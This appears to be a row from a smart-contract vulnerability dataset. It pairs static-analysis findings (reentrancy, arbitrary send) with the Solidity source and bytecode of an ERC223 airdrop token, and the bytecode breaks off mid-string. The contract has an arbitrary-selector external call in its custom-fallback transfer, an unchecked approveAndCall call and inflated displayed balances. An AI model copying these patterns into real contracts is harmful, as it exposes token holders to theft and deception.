ffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612715826126f3565b9050919050565b60005b8381101561273a57808201518184015260208101905061271f565b83811115612749576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ace816126b5565b8114612ad957600080fd5b50565b612ae5816126c7565b8114612af057600080fd5b50565b612afc816126f3565b8114612b0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060d43a5a7d9944f05d3abd6290c65ed454d83fbb7c951c22327b5bf0212360a064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,772 |
0xa58c4f0e4dddb52d2017c77eac34c73a84cf8af8
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ERC223Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value, bytes data) public returns (bool);
function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223 is ERC223Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract JoygoEOS is ERC223 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
uint256 public totalDistributed;
uint256 public totalRemaining;
uint256 public value;
uint256 public dividend;
uint256 public divisor;
uint256 public invitedReward = 1;
uint256 public inviteReward = 2;
uint256 public inviteAmountLimit = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOG_Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
event Distr(address indexed to, uint256 amount);
event InviteInit(address indexed to, uint256 amount);
event DistrFinished();
event DistrStarted();
event Burn(address indexed burner, uint256 value);
event Mint(address indexed minter, uint256 value);
bool public distributionFinished = false;
bool public inviteFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier canNotDistr() {
require(distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function JoygoEOS (string _tokenName, string _tokenSymbol, uint256 _decimalUnits, uint256 _initialAmount, uint256 _totalDistributed, uint256 _value, uint256 _dividend, uint256 _divisor) public {
require(_decimalUnits != 0);
require(_initialAmount != 0);
require(_totalDistributed != 0);
require(_value != 0);
require(_dividend != 0);
require(_divisor != 0);
owner = msg.sender;
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
totalSupply = _initialAmount;
totalDistributed = _totalDistributed;
totalRemaining = totalSupply.sub(totalDistributed);
value = _value;
dividend = _dividend;
divisor = _divisor;
balances[owner] = totalDistributed;
Transfer(address(0), owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function startDistribution() onlyOwner canNotDistr public returns (bool) {
distributionFinished = false;
DistrStarted();
return true;
}
function finishInvite() onlyOwner public returns (bool) {
require(!inviteFinished);
inviteFinished = true;
return true;
}
function startInvite() onlyOwner public returns (bool) {
require(inviteFinished);
inviteFinished = false;
return true;
}
function changeTotalDistributed(uint256 newTotalDistributed) onlyOwner public {
totalDistributed = newTotalDistributed;
}
function changeTotalRemaining(uint256 newTotalRemaining) onlyOwner public {
totalRemaining = newTotalRemaining;
}
function changeValue(uint256 newValue) onlyOwner public {
value = newValue;
}
function changeTotalSupply(uint256 newTotalSupply) onlyOwner public {
totalSupply = newTotalSupply;
}
function changeDecimals(uint256 newDecimals) onlyOwner public {
decimals = newDecimals;
}
function changeName(string newName) onlyOwner public {
name = newName;
}
function changeSymbol(string newSymbol) onlyOwner public {
symbol = newSymbol;
}
function changeDivisor(uint256 newDivisor) onlyOwner public {
divisor = newDivisor;
}
function changeDividend(uint256 newDividend) onlyOwner public {
dividend = newDividend;
}
function changeInviteReward(uint256 newInviteReward) onlyOwner public {
inviteReward = newInviteReward;
}
function changeInvitedReward(uint256 newInvitedReward) onlyOwner public {
invitedReward = newInvitedReward;
}
function changInviteAmountLimit(uint256 newInviteAmountLimit) onlyOwner public {
inviteAmountLimit = newInviteAmountLimit;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(dividend).mul(divisor);
}
function balanceOf(address _owner) constant public returns (uint256) {
return getBalance(_owner);
}
function getBalance(address _address) constant internal returns (uint256) {
if (_address !=address(0) && !distributionFinished && !blacklist[_address] && totalDistributed < totalSupply && !inviteFinished) {
return balances[_address].add(value);
}
else {
return balances[_address];
}
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount, bytes _data, string _custom_fallback) onlyPayloadSize(2 * 32) public returns (bool success) {
if(isContract(_to)) {
require(balanceOf(msg.sender) >= _amount);
balances[msg.sender] = balanceOf(msg.sender).sub(_amount);
balances[_to] = balanceOf(_to).add(_amount);
ContractReceiver receiver = ContractReceiver(_to);
require(receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _amount, _data));
Transfer(msg.sender, _to, _amount);
LOG_Transfer(msg.sender, _to, _amount, _data);
return true;
}
else {
return transferToAddress(_to, _amount, _data);
}
}
function transfer(address _to, uint256 _amount, bytes _data) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
if(isContract(_to)) {
return transferToContract(_to, _amount, _data);
}
else {
return transferToAddress(_to, _amount, _data);
}
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _amount, empty);
}
else {
if(_amount <= inviteAmountLimit){
require(invite(msg.sender, _to));
}
return transferToAddress(_to, _amount, empty);
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
require(invite(_from, _to));
bytes memory empty;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
LOG_Transfer(_from, _to, _amount, empty);
return true;
}
function invite(address _from, address _to) internal returns (bool success) {
if(inviteFinished){
return true;
}
if(invitedInit(_from) && _from != _to){
inviteInit(_to);
return true;
}
invitedInit(_to);
return true;
}
function inviteInit(address _address) internal returns (bool success) {
if (!distributionFinished && totalDistributed < totalSupply) {
if (value.mul(inviteReward) > totalRemaining) {
value = totalRemaining;
}
require(value.mul(inviteReward) <= totalRemaining);
uint256 toGive = value.mul(inviteReward);
totalDistributed = totalDistributed.add(toGive);
totalRemaining = totalRemaining.sub(toGive);
balances[_address] = balances[_address].add(toGive);
InviteInit(_address, toGive);
Transfer(address(0), _address, toGive);
if (toGive > 0) {
blacklist[_address] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(dividend).mul(divisor);
return true;
}
return false;
}
function invitedInit(address _address) internal returns (bool success) {
if (!distributionFinished && totalDistributed < totalSupply && !blacklist[_address]) {
if (value.mul(invitedReward) > totalRemaining) {
value = totalRemaining;
}
require(value.mul(invitedReward) <= totalRemaining);
uint256 toGive = value.mul(invitedReward);
totalDistributed = totalDistributed.add(toGive);
totalRemaining = totalRemaining.sub(toGive);
balances[_address] = balances[_address].add(toGive);
InviteInit(_address, toGive);
Transfer(address(0), _address, toGive);
if (toGive > 0) {
blacklist[_address] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(dividend).mul(divisor);
return true;
}
return false;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function mint(uint256 _value) onlyOwner public {
address minter = msg.sender;
balances[minter] = balances[minter].add(_value);
totalSupply = totalSupply.add(_value);
Mint(minter, _value);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) payable public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function isContract(address _addr) private constant returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
LOG_Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
LOG_Transfer(msg.sender, _to, _value, _data);
return true;
}
}
|
0x6060604052600436106102635763ffffffff60e060020a600035041663011847a2811461026d57806306fdde0314610292578063095ea7b31461031c5780630ff8cf9b1461035257806318160ddd146103655780631f2dc5ef1461037857806323b872dd1461038b57806327e235e3146103b35780632bba2d6d146103d2578063313ce567146103e8578063362c78b9146103fb5780633ccfd60b1461040e5780633fa4f2451461042157806342966c68146104345780634acea2541461044a578063502dadb01461045d578063513de1d3146104ac57806352e97326146104c25780635353a2d8146104d857806370a0823114610529578063729ad39e146105485780637b10a1d9146105975780638da5cb5b146105ad5780639254c2a8146105dc5780639373ad6c146105f257806395d89b4114610605578063963a9a13146106185780639b1cbccc1461062b5780639c09c8351461063e578063a0712d681461068d578063a3895fff146106a3578063a78c81ea146106f4578063a8c310d51461070a578063a9059cbb14610799578063aa6ca80814610263578063afa5f45c146107bb578063b74f312e146107d1578063be45fd62146107e7578063c108d5421461084c578063c489744b1461085f578063cae9ca5114610884578063d83623dd146108de578063d8a54360146108f1578063dd62ed3e14610904578063e58fc54c14610929578063efca2eed14610948578063f2fde38b1461095b578063f3e4877c1461097a578063f4591074146109cb578063f6368f8a146109de578063f965e32e14610a85578063f9f92be414610a9b578063fc73ec0014610aba575b61026b610ad0565b005b341561027857600080fd5b610280610bb7565b60405190815260200160405180910390f35b341561029d57600080fd5b6102a5610bbd565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102e15780820151838201526020016102c9565b50505050905090810190601f16801561030e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561032757600080fd5b61033e600160a060020a0360043516602435610c5b565b604051901515815260200160405180910390f35b341561035d57600080fd5b610280610cc8565b341561037057600080fd5b610280610cce565b341561038357600080fd5b610280610cd4565b341561039657600080fd5b61033e600160a060020a0360043581169060243516604435610cda565b34156103be57600080fd5b610280600160a060020a0360043516610f07565b34156103dd57600080fd5b61026b600435610f19565b34156103f357600080fd5b610280610f39565b341561040657600080fd5b610280610f3f565b341561041957600080fd5b61026b610f45565b341561042c57600080fd5b610280610f9f565b341561043f57600080fd5b61026b600435610fa5565b341561045557600080fd5b61028061107d565b341561046857600080fd5b61026b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061108395505050505050565b34156104b757600080fd5b61026b6004356110fe565b34156104cd57600080fd5b61026b60043561111e565b34156104e357600080fd5b61026b60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061113e95505050505050565b341561053457600080fd5b610280600160a060020a036004351661116c565b341561055357600080fd5b61026b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061117f95505050505050565b34156105a257600080fd5b61026b600435611231565b34156105b857600080fd5b6105c0611251565b604051600160a060020a03909116815260200160405180910390f35b34156105e757600080fd5b61026b600435611260565b34156105fd57600080fd5b61033e611280565b341561061057600080fd5b6102a561128e565b341561062357600080fd5b61033e6112f9565b341561063657600080fd5b61033e61133f565b341561064957600080fd5b61026b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506113ac95505050505050565b341561069857600080fd5b61026b600435611423565b34156106ae57600080fd5b61026b60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506114d695505050505050565b34156106ff57600080fd5b61026b600435611504565b341561071557600080fd5b61026b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061152495505050505050565b34156107a457600080fd5b61033e600160a060020a0360043516602435611607565b34156107c657600080fd5b61026b600435611684565b34156107dc57600080fd5b61026b6004356116a4565b34156107f257600080fd5b61033e60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506116c495505050505050565b341561085757600080fd5b61033e61171b565b341561086a57600080fd5b610280600160a060020a0360043581169060243516611724565b61033e60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506117a195505050505050565b34156108e957600080fd5b61033e611941565b34156108fc57600080fd5b6102806119ac565b341561090f57600080fd5b610280600160a060020a03600435811690602435166119b2565b341561093457600080fd5b61033e600160a060020a03600435166119dd565b341561095357600080fd5b610280611afb565b341561096657600080fd5b61026b600160a060020a0360043516611b01565b341561098557600080fd5b61026b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350611b5892505050565b34156109d657600080fd5b61033e611c05565b34156109e957600080fd5b61033e60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4d95505050505050565b3415610a9057600080fd5b61026b600435611ee8565b3415610aa657600080fd5b61033e600160a060020a0360043516611f08565b3415610ac557600080fd5b61026b600435611f1d565b601154600090819060ff1615610ae557600080fd5b600160a060020a03331660009081526004602052604090205460ff1615610b0b57600080fd5b600a54600b541115610b1e57600a54600b555b600a54600b541115610b2f57600080fd5b5050600b543390610b408282611f3d565b506000811115610b6e57600160a060020a0382166000908152600460205260409020805460ff191660011790555b60085460095410610b87576011805460ff191660011790555b610bb0600d54610ba4600c54600b5461202c90919063ffffffff16565b9063ffffffff61204316565b600b555050565b600f5481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c535780601f10610c2857610100808354040283529160200191610c53565b820191906000526020600020905b815481529060010190602001808311610c3657829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600c5481565b60085481565b600d5481565b6000610ce46127ef565b60606064361015610cf157fe5b600160a060020a0385161515610d0657600080fd5b600160a060020a038616600090815260026020526040902054841115610d2b57600080fd5b600160a060020a0380871660009081526003602090815260408083203390941683529290522054841115610d5e57600080fd5b610d68868661206e565b1515610d7357600080fd5b600160a060020a038616600090815260026020526040902054610d9c908563ffffffff6120d116565b600160a060020a0380881660009081526002602090815260408083209490945560038152838220339093168252919091522054610ddf908563ffffffff6120d116565b600160a060020a0380881660009081526003602090815260408083203385168452825280832094909455918816815260029091522054610e25908563ffffffff6120e316565b600160a060020a03808716600081815260026020526040908190209390935591908816906000805160206128ba8339815191529087905190815260200160405180910390a3816040518082805190602001908083835b60208310610e9a5780518252601f199092019160209182019101610e7b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031687600160a060020a031660008051602061289a8339815191528760405190815260200160405180910390a450600195945050505050565b60026020526000908152604090205481565b60015433600160a060020a03908116911614610f3457600080fd5b600e55565b60075481565b600e5481565b60015460009033600160a060020a03908116911614610f6357600080fd5b50600154600160a060020a0330811631911681156108fc0282604051600060405180830381858888f193505050501515610f9c57600080fd5b50565b600b5481565b60015460009033600160a060020a03908116911614610fc357600080fd5b600160a060020a033316600090815260026020526040902054821115610fe857600080fd5b5033600160a060020a03811660009081526002602052604090205461100d90836120d1565b600160a060020a038216600090815260026020526040902055600854611039908363ffffffff6120d116565b600855600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60105481565b60015460009033600160a060020a039081169116146110a157600080fd5b5060005b81518110156110fa576001600460008484815181106110c057fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016110a5565b5050565b60015433600160a060020a0390811691161461111957600080fd5b600d55565b60015433600160a060020a0390811691161461113957600080fd5b600855565b60015433600160a060020a0390811691161461115957600080fd5b60058180516110fa929160200190612801565b6000611177826120f2565b90505b919050565b60015460009033600160a060020a0390811691161461119d57600080fd5b60115460ff16156111ad57600080fd5b60ff825111156111bc57600080fd5b600a54600b5411156111cd57600080fd5b5060005b815181101561121557600a54600b5411156111eb57600080fd5b61120c8282815181106111fa57fe5b90602001906020020151600b54611f3d565b506001016111d1565b600854600954106110fa576011805460ff191660011790555050565b60015433600160a060020a0390811691161461124c57600080fd5b600f55565b600154600160a060020a031681565b60015433600160a060020a0390811691161461127b57600080fd5b600a55565b601154610100900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c535780601f10610c2857610100808354040283529160200191610c53565b60015460009033600160a060020a0390811691161461131757600080fd5b601154610100900460ff16151561132d57600080fd5b506011805461ff001916905560015b90565b60015460009033600160a060020a0390811691161461135d57600080fd5b60115460ff161561136d57600080fd5b6011805460ff191660011790557f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a150600190565b60015460009033600160a060020a039081169116146113ca57600080fd5b5060005b81518110156110fa576000600460008484815181106113e957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016113ce565b60015460009033600160a060020a0390811691161461144157600080fd5b5033600160a060020a03811660009081526002602052604090205461146690836120e3565b600160a060020a038216600090815260026020526040902055600854611492908363ffffffff6120e316565b600855600160a060020a0381167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858360405190815260200160405180910390a25050565b60015433600160a060020a039081169116146114f157600080fd5b60068180516110fa929160200190612801565b60015433600160a060020a0390811691161461151f57600080fd5b601055565b60015460009033600160a060020a0390811691161461154257600080fd5b60115460ff161561155257600080fd5b60ff8351111561156157600080fd5b815183511461156f57600080fd5b5060005b82518160ff16101561160257600a54828260ff168151811061159157fe5b9060200190602002015111156115a657600080fd5b6115e0838260ff16815181106115b857fe5b90602001906020020151838360ff16815181106115d157fe5b90602001906020020151611f3d565b50600854600954106115fa576011805460ff191660011790555b600101611573565b505050565b60006116116127ef565b6040604436101561161e57fe5b600160a060020a038516151561163357600080fd5b61163c856121ad565b156116535761164c8585846121bc565b925061167c565b601054841161167157611666338661206e565b151561167157600080fd5b61164c85858461241c565b505092915050565b60015433600160a060020a0390811691161461169f57600080fd5b600755565b60015433600160a060020a039081169116146116bf57600080fd5b600955565b6000604060443610156116d357fe5b600160a060020a03851615156116e857600080fd5b6116f1856121ad565b15611708576117018585856121bc565b9150611713565b61170185858561241c565b509392505050565b60115460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561177e57600080fd5b6102c65a03f1151561178f57600080fd5b50505060405180519695505050505050565b600160a060020a03338116600081815260036020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f616464726573732c6279746573290000000000000000000000000000000000006020820152602e01604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156118e25780820151838201526020016118ca565b50505050905090810190601f16801561190f5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f192505050151561193757600080fd5b5060019392505050565b60015460009033600160a060020a0390811691161461195f57600080fd5b60115460ff16151561197057600080fd5b6011805460ff191690557f159b30ae850d9e3bc5d4db2ee06d52111229dd7cf4b4def72f83d2724d7e4fc660405160405180910390a150600190565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6001546000908190819033600160a060020a039081169116146119ff57600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611a5957600080fd5b6102c65a03f11515611a6a57600080fd5b5050506040518051600154909250600160a060020a03808516925063a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ad957600080fd5b6102c65a03f11515611aea57600080fd5b505050604051805195945050505050565b60095481565b60015433600160a060020a03908116911614611b1c57600080fd5b600160a060020a03811615610f9c5760018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b60015460009033600160a060020a03908116911614611b7657600080fd5b60115460ff1615611b8657600080fd5b60ff83511115611b9557600080fd5b600a54821115611ba457600080fd5b5060005b8251811015611be857600a54821115611bc057600080fd5b611bdf838281518110611bcf57fe5b9060200190602002015183611f3d565b50600101611ba8565b60085460095410611602576011805460ff19166001179055505050565b60015460009033600160a060020a03908116911614611c2357600080fd5b601154610100900460ff1615611c3857600080fd5b506011805461ff001916610100179055600190565b60008060406044361015611c5d57fe5b611c66876121ad565b15611ed05785611c753361116c565b1015611c8057600080fd5b611c9986611c8d3361116c565b9063ffffffff6120d116565b600160a060020a033316600090815260026020526040902055611ccb86611cbf8961116c565b9063ffffffff6120e316565b600160a060020a0388166000818152600260205260408082209390935589945090918690518082805190602001908083835b60208310611d1c5780518252601f199092019160209182019101611cfd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903389896040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611dad578082015183820152602001611d95565b50505050905090810190601f168015611dda5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611e0157600080fd5b86600160a060020a031633600160a060020a03166000805160206128ba8339815191528860405190815260200160405180910390a3846040518082805190602001908083835b60208310611e665780518252601f199092019160209182019101611e47565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902087600160a060020a031633600160a060020a031660008051602061289a8339815191528960405190815260200160405180910390a460019250611ede565b611edb87878761241c565b92505b5050949350505050565b60015433600160a060020a03908116911614611f0357600080fd5b600b55565b60046020526000908152604090205460ff1681565b60015433600160a060020a03908116911614611f3857600080fd5b600c55565b60115460009060ff1615611f5057600080fd5b600954611f63908363ffffffff6120e316565b600955600a54611f79908363ffffffff6120d116565b600a55600160a060020a038316600090815260026020526040902054611fa5908363ffffffff6120e316565b600160a060020a0384166000818152600260205260409081902092909255907f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a779084905190815260200160405180910390a2600160a060020a03831660006000805160206128ba8339815191528460405190815260200160405180910390a3506001610cc2565b600080828481151561203a57fe5b04949350505050565b600082820283158061205f575082848281151561205c57fe5b04145b151561206757fe5b9392505050565b601154600090610100900460ff161561208957506001610cc2565b61209283612581565b80156120b0575081600160a060020a031683600160a060020a031614155b156120c8576120be82612772565b5060019050610cc2565b61193782612581565b6000828211156120dd57fe5b50900390565b60008282018381101561206757fe5b6000600160a060020a0382161580159061210f575060115460ff16155b80156121345750600160a060020a03821660009081526004602052604090205460ff16155b80156121435750600854600954105b80156121575750601154610100900460ff16155b1561218e57600b54600160a060020a0383166000908152600260205260409020546121879163ffffffff6120e316565b905061117a565b50600160a060020a03811660009081526002602052604090205461117a565b6000813b908111905b50919050565b600160a060020a0333166000908152600260205260408120548190849010156121e457600080fd5b600160a060020a03331660009081526002602052604090205461220d908563ffffffff6120d116565b600160a060020a033381166000908152600260205260408082209390935590871681522054612242908563ffffffff6120e316565b600160a060020a03861660008181526002602052604080822093909355879350909163c0ee0b8a9133918891889151602001526040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156122e25780820151838201526020016122ca565b50505050905090810190601f16801561230f5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b151561232f57600080fd5b6102c65a03f1151561234057600080fd5b505050604051805190505084600160a060020a031633600160a060020a03166000805160206128ba8339815191528660405190815260200160405180910390a3826040518082805190602001908083835b602083106123b05780518252601f199092019160209182019101612391565b6001836020036101000a0380198251